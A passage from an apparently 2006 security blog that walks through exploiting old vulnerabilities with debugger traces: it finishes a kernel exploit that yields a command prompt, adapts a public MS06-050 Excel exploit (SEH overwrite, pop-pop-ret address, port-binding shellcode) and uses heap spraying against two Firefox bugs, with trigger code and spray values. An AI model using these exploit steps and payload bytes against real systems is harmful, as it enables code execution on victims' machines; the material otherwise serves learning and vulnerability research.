rgb(51,102,255)">NETAPI32!`string'+0x38c</span>:<br /><br /><span style="COLOR: rgb(51,204,0)">75175378 59 pop ecx</span><br /><span style="COLOR: rgb(51,204,0)">75175379 33c0 xor eax,eax</span><br /><span style="COLOR: rgb(51,204,0)">7517537b 59 pop ecx</span><br /><span style="COLOR: rgb(51,204,0)">7517537c 5f pop edi</span><br /><span style="COLOR: rgb(51,204,0)">7517537d 5e pop esi</span><br /><span style="COLOR: rgb(51,204,0)">7517537e 5b pop ebx</span><br /><span style="COLOR: rgb(51,204,0)">7517537f c9 leave </span><br /><span style="COLOR: rgb(51,204,0)">75175380 c21400 ret 14h</span><br /><br />Follow the instruction until the address <span style="COLOR: rgb(255,0,0)">0x7517537e</span>, the context looks like this:<br /><br /><span style="COLOR: rgb(51,204,0)">eax=00000000 ebx=0010b424 ecx=015af660 edx=015afa8e esi=0010ec88 edi=00000000</span><br /><span style="COLOR: rgb(51,204,0)">eip=7517537f esp=015af660 ebp=015afa74 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="COLOR: rgb(51,204,0)">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246</span><br /><span style="COLOR: rgb(51,204,0)">001b:7517537f c9 leave</span><br /><br />The “<span style="COLOR: rgb(51,102,255)">leave</span>” instruction can be divided into 2 seperate instructions:<br /><br />mov esp, ebp ; esp = 015afa74, ebp = 015afa74<br />pop ebp ; ebp = 02080400<br /><br /><span style="COLOR: rgb(51,204,0)">eax=00000000 ebx=0010b424 ecx=015af660 edx=015afa8e esi=0010ec88 edi=00000000</span><br /><span style="COLOR: rgb(51,204,0)">eip=75175380 esp=015afa78 ebp=02080400 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="COLOR: rgb(51,204,0)">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246</span><br /><span style="COLOR: rgb(51,204,0)">001b:75175380 c21400 ret 14h</span><br /><br />We reach the “<span style="COLOR: rgb(51,102,255)">ret</span>” instruction which will jump to the address pointed by esp.<br /><br /><span style="COLOR: rgb(51,204,0)">kd> dd esp</span><br /><span style="COLOR: rgb(51,204,0)">015afa78 02080400 02080400 02080400 02080400</span><br /><span style="COLOR: rgb(51,204,0)">015afa88 02080400 00000000 015afac0 015afafc</span><br /><span style="COLOR: rgb(51,204,0)">.....</span><br /><br />Because esp pointed to the address <span style="COLOR: rgb(255,0,0)">0x02080400</span>, so the flow of execution transfer to 0x02080400<br /><br /><span style="COLOR: rgb(51,204,0)">eax=00000000 ebx=0010b424 ecx=015af660 edx=015afa8e esi=0010ec88 edi=00000000</span><br /><span style="COLOR: rgb(51,204,0)">eip=02080400 esp=015afa90 ebp=02080400 iopl=0 nv up ei pl zr na pe nc</span><br /><span style="COLOR: rgb(51,204,0)">cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246</span><br /><span style="COLOR: rgb(51,204,0)">001b:02080400 eb02 jmp 02080404</span><br /><br /><span style="COLOR: rgb(51,204,0)">kd> dd 02080400</span><br /><span style="COLOR: rgb(51,204,0)">02080400 005c02eb fd483fcc 4e96f892 4046984f</span><br /><span style="COLOR: rgb(51,204,0)">02080410 49fdf99f f94e9190 404f4b42 41379893</span><br /><br />Can you recognize the first 4 bytes ? Yes it is the start of our payload !!!. Now I press ‘g’ to continue:<br /><br /><span style="COLOR: rgb(51,204,0)">kd> g</span><br /><span style="COLOR: rgb(51,204,0)">Break instruction exception - code 80000003 (first chance)</span><br /><span style="COLOR: rgb(51,204,0)">001b:02080404 cc int 3</span><br /><br />It break at the instruction “<span style="COLOR: rgb(51,102,255)">cc</span>” which we insert at the front of shellcode. I continue to run the kernel which result in command prompt ^-^.<br /><br />P.S. I still have the question, why the exploit choose to overwrite at 0x02080400 ? I change this value to 0x02010100 and it still work.I know only that it has to be the writable memory section.Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com1tag:blogger.com,1999:blog-30260908.post-1155631288456835432006-08-15T15:08:00.000+07:002006-08-15T15:52:21.046+07:00Exploiting M$ Office: MS06-050 - The ModificationTwo months ago, I started to publish the posts about heap spraying technique. This make me clear how heap spraying technique works and what type of vulnerability I can use this technique. Then, I think it will be useful if I’m not only focus on heap spraying technique and browser exploitation, but also include others vulnerability. This results in the new category - <span style="color: rgb(255, 0, 0);">Exploiting M$ Office</span>.<br /><br />Exploiting the M$ Office becomes one of the primary targets of the attacker because exploiting the core operating system is very harder that the old days. As they expect, most of M$ Office programs are not designed with the security requirement and easily to be exploited. In this post, I will detail about how to “modify” the public exploit that attack against the vulnerability <a href="http://www.microsoft.com/technet/security/bulletin/MS06-050.mspx">MS06-050</a> – <span style="color: rgb(255, 0, 0);">Vulnerabilities in Microsoft Windows Hyperlink Object Library Could Allow Remote Code Execution</span> – to work with my system.<br /><br />The vulnerability is a <span style="color: rgb(51, 102, 255);">stack-based buffer overflow</span> caused by improper bound checking of hyperlinks in hlink.dll library. If the attacker craft the hyperlink in Office document in the way that trigger buffer overflow, he can execute the code in the victim system with the privilege of user who open the link.<br /><br />In the post, I will use <span style="color: rgb(51, 102, 255);">SYS 49152</span>’s “universal exploit” to demonstrate how to modify the exploit to work with your system. In his exploit the document stated that this exploit work with the combination of Windows 2000/XP/2003 and M$ Office 2000/XP/2003. But when I view my M$ Excel version, I found that its version is <span style="color: rgb(255, 0, 0);">2002 SP2</span>.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/excel.version.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/excel.version.jpg" alt="" border="0" /></a><br />Now I start to use the exploit to test against my Excel (I test with Windows XP SP2). It creates the Excel named <span style="color: rgb(51, 102, 255);">SYS_49152_universal_hlink.xls</span>. As I expect, when I open the file SYS_49152_universal_hlink.xls and click the link “ClickMe!”, my Excel is terminated and there is no shell port binding at <span style="color: rgb(255, 0, 0);">49152</span> – the exploit fails to work with my system.<br /><br />Now my job is started, I attach the Excel with Windbg and click the link again. This is the result:<br /><br /><span style="color: rgb(51, 204, 0);">eax=0013f812 ebx=00000000 ecx=0013f812 edx=00610061 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=76829c91 esp=0013e9ac ebp=0013f800 iopl=0 nv up ei pl nz na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206</span><br /><span style="color: rgb(51, 204, 0);">hlink!HlinkNavigateToStringReference+0x2933:</span><br /><span style="color: rgb(51, 204, 0);">76829c91 668b02 mov ax,[edx] ds:0023:00610061=????</span><br /><br />Access violation occur when the program try to read at the address <span style="color: rgb(255, 0, 0);">0x00610061</span>. I remember that the security bulletin had said this vulnerability is stack-based buffer overflow. So I decide to view data on the stack:<br /><br /><span style="color: rgb(51, 204, 0);">0:000> dds esp</span><br /><span style="color: rgb(51, 204, 0);">0013e9ac 7682db38 hlink!HlinkTranslateURL+0x1f05</span><br /><span style="color: rgb(51, 204, 0);">0013e9b0 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013e9b4 0013f812</span><br /><span style="color: rgb(51, 204, 0);">0013e9b8 001835e0</span><br /><span style="color: rgb(51, 204, 0);">0013e9bc 00000000</span><br /><span style="color: rgb(51, 204, 0);">0013e9c0 001835e0</span><br /><span style="color: rgb(51, 204, 0);">0013e9c4 00000006</span><br /><span style="color: rgb(51, 204, 0);">0013e9c8 00000000</span><br /><span style="color: rgb(51, 204, 0);">0013e9cc 00192bd8</span><br /><span style="color: rgb(51, 204, 0);">0013e9d0 001aa2e0</span><br /><span style="color: rgb(51, 204, 0);">0013e9d4 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013e9d8 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013e9dc 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013e9e0 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013e9e4 00530061</span><br /><span style="color: rgb(51, 204, 0);">0013e9e8 00530059</span><br /><span style="color: rgb(51, 204, 0);">0013e9ec 00390034</span><br /><span style="color: rgb(51, 204, 0);">0013e9f0 00350031</span><br /><span style="color: rgb(51, 204, 0);">0013e9f4 00520032</span><br /><span style="color: rgb(51, 204, 0);">0013e9f8 004c0055</span><br /><span style="color: rgb(51, 204, 0);">0013e9fc 005a0045</span><br /><span style="color: rgb(51, 204, 0);">0013ea00 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea04 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea08 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea0c 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea10 005c0061</span><br /><span style="color: rgb(51, 204, 0);">0013ea14 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea18 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea1c 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea20 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea24 00530061</span><br /><span style="color: rgb(51, 204, 0);">0013ea28 00530059</span><br /><span style="color: rgb(51, 204, 0);">0:000> dds</span><br /><span style="color: rgb(51, 204, 0);">0013ea2c 00390034</span><br /><span style="color: rgb(51, 204, 0);">0013ea30 00350031</span><br /><span style="color: rgb(51, 204, 0);">0013ea34 00520032</span><br /><span style="color: rgb(51, 204, 0);">0013ea38 004c0055</span><br /><span style="color: rgb(51, 204, 0);">0013ea3c 005a0045</span><br /><span style="color: rgb(51, 204, 0);">0013ea40 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea44 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea48 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea4c 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013ea50 005c0061</span><br /><span style="color: rgb(51, 204, 0);">.....</span><br /><br />I think I see some pattern in the stack. It start at address <span style="color: rgb(255, 0, 0);">0x0013e9d4</span>, 0x00610061, and end at address <span style="color: rgb(255, 0, 0);">0x0013ea10</span>, 0x005c0061. This pattern is an important part to trigger the overflow. It is in the code line<br /><br /><span style="color: rgb(51, 204, 0); font-style: italic;"> $a="aaaaaaaaa\x53\x59\x53\x34\x39\x31\x35\x32\x52\x55\x4C\x45\x5Aaaaaaaaaa\\" x 80</span><br /><br />The character a is equivalent 0x61 in hex number. But, what is the byte 0x00 ? It is the unicode character. This can confirm by view the stack in Ollydbg with the option show UNICODE dump.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/view.stack.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/view.stack.jpg" alt="" border="0" /></a><br />Something comes into my mind. There are 2 ways to exploit the stack-based buffer overflow – overwrite the eip or overwrite the SEH. As I see, when the program crashes at the first time, eip is not overwrite. So this exploit uses the <span style="color: rgb(51, 102, 255);">SEH overwrite</span> technique. At the state that Excel crashes, I press ‘g’ in Windbg run to find out what’s going on:<br /><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=00000000 ecx=30b31410 edx=4bdd23c8 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=30b31413 esp=0013e5dc ebp=0013e5fb iopl=0 nv up ei pl nz na pe nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202</span><br /><span style="color: rgb(51, 204, 0);">mso!Ordinal2655+0x1e9:</span><br /><span style="color: rgb(51, 204, 0);">30b31413 891f mov [edi],ebx ds:0023:00000000=????????</span><br /><br />Excel crashes at the address <span style="color: rgb(255, 0, 0);">0x30b31413</span>. I locate these 4 bytes in the exploit code and it is in the line:<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">print ass "\xEB\x1A\x90\x90\x10\x14\xB3\x30"</span><br /><br />The last 4 bytes is the reverse of 0x30b31410, not 0x30b31413. So I disassemble at the address <span style="color: rgb(255, 0, 0);">0x30b31410</span>:<br /><br /><span style="color: rgb(51, 204, 0);">0:000> u 30b31410</span><br /><span style="color: rgb(51, 204, 0);">mso!Ordinal2655+0x1e6:</span><br /><span style="color: rgb(51, 204, 0);">30b31410 4d dec ebp</span><br /><span style="color: rgb(51, 204, 0);">30b31411 1bd1 sbb edx,ecx</span><br /><span style="color: rgb(51, 204, 0);">30b31413 891f mov [edi],ebx</span><br /><span style="color: rgb(51, 204, 0);">.....</span><br /><br />Instructions at the address 0x30b31410 and 0x30b31411 don’t cause the access violation, that’s why Windbg stop at 0x30b31413. I confirm this by change “\x10\x14\xb3\x30” to <span style="color: rgb(51, 102, 255);">“\x44\x33\x22\x11”</span>:<br /><br /><span style="color: rgb(51, 204, 0);">eax=00000000 ebx=00000000 ecx=11223344 edx=7c9037d8 esi=00000000 edi=00000000</span><br /><span style="color: rgb(51, 204, 0);">eip=11223344 esp=0013e5dc ebp=0013e5fc iopl=0 nv up ei pl zr na po nc</span><br /><span style="color: rgb(51, 204, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246</span><br /><span style="color: rgb(51, 204, 0);">11223344 ?? ???</span><br /><br />Lol, I can control flow of the program to the address that I want, but what’s the address that I should use instead of <span style="color: rgb(255, 0, 0);">0x11223344</span> ? To answer this question, l view something in the stack:<br /><br /><span style="color: rgb(51, 204, 0);">0:000> dds esp</span><br /><span style="color: rgb(51, 204, 0);">0013e5dc 7c9037bf ntdll!ExecuteHandler2+0x26</span><br /><span style="color: rgb(51, 204, 0);">0013e5e0 0013e6c4</span><br /><span style="color: rgb(51, 204, 0);">0013e5e4 0013f9d4</span><br /><span style="color: rgb(51, 204, 0);">0013e5e8 0013e6e0</span><br /><span style="color: rgb(51, 204, 0);">0013e5ec 0013e698 </span><br /><span style="color: rgb(51, 204, 0);">0013e5f0 0013f9d4</span><br /><span style="color: rgb(51, 204, 0);">.....</span><br /><br />Each entry looks like the address in the stack. The interested one is 0x0013f9d4 because It points to something like shellcode :)<br /><br /><span style="color: rgb(51, 204, 0);">0:000> dd 0013f9d4</span><br /><span style="color: rgb(51, 204, 0);">0013f9d4 90901aeb 11223344 00610061 00610061</span><br /><span style="color: rgb(51, 204, 0);">0013f9e4 00530061 00530059 00390034 90907eeb</span><br /><span style="color: rgb(51, 204, 0);">0013f9f4 30cb9bb4 004c0055 005a0045 00610061</span><br /><span style="color: rgb(51, 204, 0);">.....</span><br /><br />I disassembly at address 0x0013f9d4:<br /><br /><span style="color: rgb(51, 204, 0);">0:000> u 0013f9d4</span><br /><span style="color: rgb(51, 204, 0);">0013f9d4 eb1a jmp 0013f9f0</span><br /><span style="color: rgb(51, 204, 0);">0013f9d6 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013f9d7 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013f9d8 44 inc esp</span><br /><span style="color: rgb(51, 204, 0);">.....</span><br /><br />It’s jump at the address 0x0013f9f0:<br /><br /><span style="color: rgb(51, 204, 0);">0:000> u 0013f9f0</span><br /><span style="color: rgb(51, 204, 0);">0013f9f0 eb7e jmp 0013fa70</span><br /><span style="color: rgb(51, 204, 0);">0013f9f2 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013f9f3 90 nop</span><br /><span style="color: rgb(51, 204, 0);">0013f9f4 b49b mov ah,0x9b</span><br /><span style="color: rgb(51, 204, 0);">.....</span><br /><br />Again, It’s jump to the address 0x0013fa70:<br /><br /><span style="color: rgb(51, 204, 0);">0:000> u 0013fa70</span><br /><span style="color: rgb(51, 204, 0);">0013fa70 eb7e jmp 0013faf0</span><br /><span style="color: rgb(51, 204, 0);">0013fa72 3500320052 xor eax,0x52003200</span><br /><span style="color: rgb(51, 204, 0);">0013fa77 005500 add [ebp],dl</span><br /><span style="color: rgb(51, 204, 0);">.....</span><br /><span style="color: rgb(51, 204, 0);">0:000> u 0013faf0</span><br /><span style="color: rgb(51, 204, 0);">0013faf0 eb77 jmp 0013fb69</span><br /><span style="color: rgb(51, 204, 0);">0013faf2 3500320052 xor eax,0x52003200</span><br /><span style="color: rgb(51, 204, 0);">0013faf7 005500 add [ebp],dl</span><br /><span style="color: rgb(51, 204, 0);">.....</span><br /><span style="color: rgb(51, 204, 0);">0:000> u 0013fb69</span><br /><span style="color: rgb(51, 204, 0);">0013fb69 fc cld</span><br /><span style="color: rgb(51, 204, 0);">0013fb6a 6aeb push 0xeb</span><br /><span style="color: rgb(51, 204, 0);">0013fb6c 4d dec ebp</span><br /><span style="color: rgb(51, 204, 0);">.....</span><br /><br />At the address 0x0013fb69 is the start of the shellcode !!! This means that if I can made the program jump to the address 0x0013f9d4, the shellcode will be executed. The most simple way to do this is change “\x44\x33\x22\x11” to “\xd4\xf9\x13\x00”. But the problem is that the address 0x0013f9d4 contains null byte, so it will not work. I have to find a way to jump indirectly to the address 0x0013f9d4. At this time the instruction “pop pop ret” comes in to my mind Because the value 0x0013f9d4 is the third value in the stack, If I change 0x11223344 to the address of instruction <span style="color: rgb(51, 102, 255);">“pop pop ret” </span>, it will be result in this:<br /><br /><span style="color: rgb(255, 204, 0);">top of stack: </span><span style="color: rgb(255, 204, 0);">7c9037bf 0013e6c4 0013f9d4 </span><span style="color: rgb(255, 204, 0);">0013e6e0</span><span style="color: rgb(255, 204, 0);"> </span><span style="color: rgb(255, 204, 51);">:bottom of stack</span><br /><br /><span style="color: rgb(255, 204, 51);">After 'pop' command</span><br /><span style="color: rgb(255, 204, 0);">top of stack: </span><span style="color: rgb(255, 204, 0);">0013e6c4 0013f9d4 </span><span style="color: rgb(255, 204, 0);">0013e6e0</span><span style="color: rgb(255, 204, 0);"> </span><span style="color: rgb(255, 204, 51);">:bottom of stack</span><br /><br /><span style="color: rgb(255, 204, 51);">After 'pop' command</span><br /><span style="color: rgb(255, 204, 0);">top of stack: </span><span style="color: rgb(255, 204, 0);">0013f9d4 </span><span style="color: rgb(255, 204, 0);">0013e6e0</span><span style="color: rgb(255, 204, 0);"> </span><span style="color: rgb(255, 204, 51);">:bottom of stack</span><br /><span style="color: rgb(255, 204, 0);"></span><br /><span style="color: rgb(255, 204, 51);">Status when execute 'ret' command</span><br /><span style="color: rgb(255, 204, 0);">top of stack: </span><span style="color: rgb(255, 204, 0);">0013f9d4 </span><span style="color: rgb(255, 204, 0);">0013e6e0</span><span style="color: rgb(255, 204, 0);"> </span><span style="color: rgb(255, 204, 51);">:bottom of stack</span><br /><br />The instruction ‘ret’ will jump to the the address on the top of stack, so it will jump to the address <span style="color: rgb(255, 0, 0);">0x0013f9d4</span>. I find the address of <span style="color: rgb(51, 102, 255);">“pop pop ret”</span> by using <span style="color: rgb(51, 102, 255);">msfpescan</span> from metasploit:<br /><br /><span style="color: rgb(51, 204, 0);">0x3073a0d7 eax esi ret</span><br /><span style="color: rgb(51, 204, 0);">0x30740e11 eax esi ret</span><br /><span style="color: rgb(51, 204, 0);">0x30779f40 eax esi ret</span><br /><span style="color: rgb(51, 204, 0);">0x30797d02 eax esi ret</span><br /><span style="color: rgb(51, 204, 0);">0x307a6760 eax esi ret</span><br /><span style="color: rgb(51, 204, 0);">0x307b7492 eax esi ret</span><br /><span style="color: rgb(51, 204, 0);">0x307c36fb eax esi ret</span><br /><br />I replace the address <span style="color: rgb(255, 0, 0);">0x11223344</span> with <span style="color: rgb(255, 0, 0);">0x307c36fb</span> and create the Excel file again. At this time when I press ‘g’ after the first crash, the program is not crashed again. I run netstat to view the open port and I found that there is <span style="color: rgb(255, 0, 0);">port binding at 49152</span> – shellcode is executed.<br />I test the exploit without Windbg and it’s still successful. My job is done, lol.Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com2tag:blogger.com,1999:blog-30260908.post-1154316445067995292006-07-31T10:25:00.000+07:002006-07-31T11:25:15.506+07:00Heap Spraying: Mozilla Firefox Navigator Object (mfsa2006-045)Last week, Firefox team had been published the advisories about Firefox browser’s vulnerabities. The one of the most interested vulnerability is Navigator vulnerability (<a href="http://www.mozilla.org/security/announce/2006/mfsa2006-45.html">MFSA2006-45</a>). H D Moore, one of the most genious researcher in vulnerability research area, said that it is trival to exploit it. To exploit this vulnerability, you need to install Java plugin to Firefox browser. The attack vector of this bug is:<br /><br /><span style="color: rgb(51, 204, 0); font-style: italic;"> window.navigator = (0x01020304 / 2);</span><br /><span style="color: rgb(51, 204, 0); font-style: italic;"> java.lang.reflect.Runtime.newInstance(java.lang.Class.forName(“java.lang.Runtime”), 0);</span><br /><br />When Firefox browses this page I got:<br /><br /><span style="font-style: italic; color: rgb(51, 102, 255);">eax=023b7ed8 ebx=00000000 ecx=01020300 edx=00002c2c esi=80000000 edi=60083955</span><br /><span style="font-style: italic; color: rgb(51, 102, 255);">eip=6008397e esp=0012e9fc ebp=0012ea00 iopl=0 nv up ei pl nz na po nc</span><br /><span style="font-style: italic; color: rgb(51, 102, 255);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206</span><br /><br /><span style="font-style: italic; color: rgb(51, 102, 255);">js3250!JS_GetProperty+0x29:</span><br /><span style="font-style: italic; color: rgb(51, 102, 255);">6008397e 8b11 mov edx,[ecx] ds:0023:01020300=????????</span><br /><br />Access violation when the browser try to read at address <span style="color: rgb(255, 0, 0);">0x01020300</span>. Then I disassemble at 0x6008397e:<br /><br /><span style="color: rgb(255, 204, 0); font-style: italic;">6008397e 8b11 mov edx,[ecx]</span><br /><span style="color: rgb(255, 204, 0); font-style: italic;">60083980 50 push eax</span><br /><span style="color: rgb(255, 204, 0); font-style: italic;">60083981 51 push ecx</span><br /><span style="color: rgb(255, 204, 0); font-style: italic;">60083982 8b5204 mov edx,[edx+0x4]</span><br /><span style="color: rgb(255, 204, 0); font-style: italic;">60083985 ff7508 push dword ptr [ebp+0x8]</span><br /><span style="color: rgb(255, 204, 0); font-style: italic;">60083988 ff5210 call dword ptr [edx+0x10]</span><br /><br />Do you see anything ? Yes.. the instruction at address <span style="color: rgb(255, 0, 0);">0x60083988</span> ‘call dword ptr [edx + 0x10]’. Because you can control ecx (via navigator()’s parameter), so you can control edx. This leads to the code execution in <span style="color: rgb(255, 0, 0);">0x60083988</span>.<br /><br />Our plan seems perfect, but when I replace 0x01020304 with the magic number, 0x0d0d0d0d:<br /><br /><span style="color: rgb(51, 102, 255); font-style: italic;">eax=020f5898 ebx=00000000 ecx=01a12048 edx=1a000000 esi=80000000 edi=60083955</span><br /><span style="color: rgb(51, 102, 255); font-style: italic;">eip=60083982 esp=0012e9f4 ebp=0012ea00 iopl=0 nv up ei pl nz na pe nc</span><br /><span style="color: rgb(51, 102, 255); font-style: italic;">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202</span><br /><br /><span style="color: rgb(51, 102, 255); font-style: italic;">js3250!JS_GetProperty+0x2d:</span><br /><span style="color: rgb(51, 102, 255); font-style: italic;">60083982 8b5204 mov edx,[edx+0x4] ds:0023:1a000004=????????</span><br /><br />It crashes at the position near the old one, in the mannger that I can’t control edx easily. I start to find the valid one:<br /><br /><span style="color: rgb(255, 204, 102);">0x0d0d0d0d -> invalid</span><br /><span style="color: rgb(255, 204, 102);">0x09080706 -> valid</span><br /><span style="color: rgb(255, 204, 102);">0x0d080706 -> valid</span><br /><span style="color: rgb(255, 204, 102);">0x0d0d0706 -> valid</span><br /><span style="color: rgb(255, 204, 102);">0x0d0d0d06 -> valid</span><br /><br />Umm I decide to use 0x0d0d0d06 as a ecx value because it’s a familiar one. I write the classical style heap spraying exploit and test it. Sure !! It works . This exploit is easy to implement as H D Moore said.<br /><br />P.S. : Tested on Windows XP SP2 + Mozilla Firefox 1.5.0.2 + jre-1_5_0_06Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com0tag:blogger.com,1999:blog-30260908.post-1152787624787242752006-07-13T17:09:00.000+07:002006-07-13T17:52:28.496+07:00Heap Spraying: Mozilla Firefox InstallVersion->compareto()From the previous post, I had described how to use heap spraying technique to attack against Internet Explorer in serveral scenes. This doesn't means that we can't use heap spraying to attack other browsers. In July 2005, one of the exploit that use heap spraying attack <span style="color: rgb(51, 102, 255);">Mozilla Firefox</span> had been published. Aviv Raff, the exploit author, had written this exploit attach against the vulnerability <a href="http://www.mozilla.org/security/announce/mfsa2005-50.html">MFSA2005-50</a> . At the first time, this vulnerability was ranked at the low level because the Mozilla team didn't think that it will be possible to execute the code via this vulnerability. Then, Aviv Raff who discover this vulnerability decide to write the exploit to show that it could be possible to execute the code in this bug. Good job Dude :)<br /><br /><span style="color: rgb(51, 102, 255);">MFSA2005-50</span> is trigger by visit the HTML page that embed javascript code like this:<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">…</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">location.href=”javascript:void(new InstallVersion());”</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">(new InstallVersion).compareTo(new Number(<span style="font-weight: bold;">number</span>));</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">…</span><br /><br />when I use number = <span style="color: rgb(255, 204, 51);">0x00</span>, Firefox crashes at <span style="color: rgb(255, 0, 0);">0x6004710a</span><br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">mov ecx, [eax] ds:0023:00000000=????????</span><br /><br />Where <span style="color: rgb(51, 102, 255);">eax=0x00000000</span> and <span style="color: rgb(51, 102, 255);">ecx=0x013b3808</span>. Access violation occurs because Firefox try to read at the address <span style="color: rgb(255, 0, 0);">0x00000000</span>. Then I decide to change <span style="font-style: italic; font-weight: bold; color: rgb(51, 204, 0);">number</span> from <span style="color: rgb(255, 204, 0);">0x00</span> to <span style="color: rgb(255, 204, 0);">0x01</span> and test. Firefox crashes at the same position, but with the different condition<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">mov ecx, [eax] ds:0023:00000002=????????</span><br /><br />Where <span style="color: rgb(51, 102, 255);">eax=0x00000002</span> and <span style="color: rgb(51, 102, 255);">ecx=0x013b3808</span>. I change <span style="font-style: italic; color: rgb(51, 204, 0); font-weight: bold;">number</span> again, from <span style="color: rgb(255, 204, 0);">0x01</span> to <span style="color: rgb(255, 204, 0);">0x11111111</span>.<br /><br /><span style="color: rgb(51, 204, 0); font-style: italic;">mov ecx, [eax] ds:0023:22222222=????????</span><br /><br />Ah.. I think I see some pattern. Everytime I change <span style="font-style: italic; font-weight: bold; color: rgb(51, 204, 0);">number</span>, the value of eax also change and eax’s value = <span style="font-style: italic; font-weight: bold; color: rgb(51, 204, 0);">number</span> x 2. I confirm this by set <span style="font-style: italic; font-weight: bold; color: rgb(51, 204, 0);">number</span> to <span style="color: rgb(51, 102, 255);">0x22222222</span> and the result show me that the value of <span style="color: rgb(51, 102, 255);">eax = 0x44444444</span>.<br /><br />If I can made eax point the some memory area that I control it’s value, may be I can found something interest. I disassemble firefox code after <span style="color: rgb(255, 0, 0);">0x6004710a</span>:<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">0:000> u 6004710a</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">xpinstal+0x710a:</span><br /><span style="font-style: italic; color: rgb(255, 0, 0); font-weight: bold;">6004710a mov ecx,[eax]</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">6004710c push dword ptr [ebp+0xc]</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">6004710f push eax</span><br /><span style="font-style: italic; color: rgb(255, 0, 0); font-weight: bold;">60047110 call dword ptr [ecx]</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">60047112 test eax,eax</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">60047114 jz xpinstal+0x70d6 (600470d6)</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">60047116 mov ecx,[ebp+0x10]</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">60047119 push 0x0</span><br /><br />At address <span style="color: rgb(255, 0, 0);">0x60047110</span>, there is a call instruction “<span style="color: rgb(51, 102, 255);">call dword ptr [ecx]</span>”. Because we can control ecx via eax, then we can control where we wanna to jump in this instruction – own the box lol.<br /><br />Our strategy is very simple. We create 350 heap blocks with nop + shellcode. Our nop is this case is 0x0d. After we inject heap blocks in to memory, we trigger Firefox by call vulnerable code with<span style="font-style: italic; font-weight: bold; color: rgb(51, 204, 0);"> number</span>= <span style="color: rgb(51, 102, 255);">0x06868686</span>. Because <span style="font-style: italic; font-weight: bold; color: rgb(51, 204, 0);">number</span> = <span style="color: rgb(51, 102, 255);">0x06868686</span>, eax will be set to 0x06868686 x 2 = <span style="color: rgb(51, 102, 255);">0x0d0d0d0c</span> and the instruction at address <span style="color: rgb(255, 0, 0);">0x6004710a</span> will become<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">mov ecx, [0x0d0d0d0c]</span><br /><br />And because our 350 heap blocks fill the address 0x0dxxxxxxxx with 0x0d, then <span style="color: rgb(51, 102, 255);">[x0d0d0d00c] = 0x0d0d0d0d</span> and access violation will not occur because this memory area is become readable.<br /><br />After ecx is set to <span style="color: rgb(51, 102, 255);">0x0d0d0d0d</span>, the instruction at the address <span style="color: rgb(255, 0, 0);">0x60047110</span>:<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">call dword ptr [ecx]</span><br /><br />will equivalent to<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">call dword ptr [0x0d0d0d0d]</span><br /><br />Because address 0x0d0d0d0d contains value 0x0d0d0d0d, then the instruction at address 0x60047110 will become:<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">call 0x0d0d0d0d</span><br /><br />and 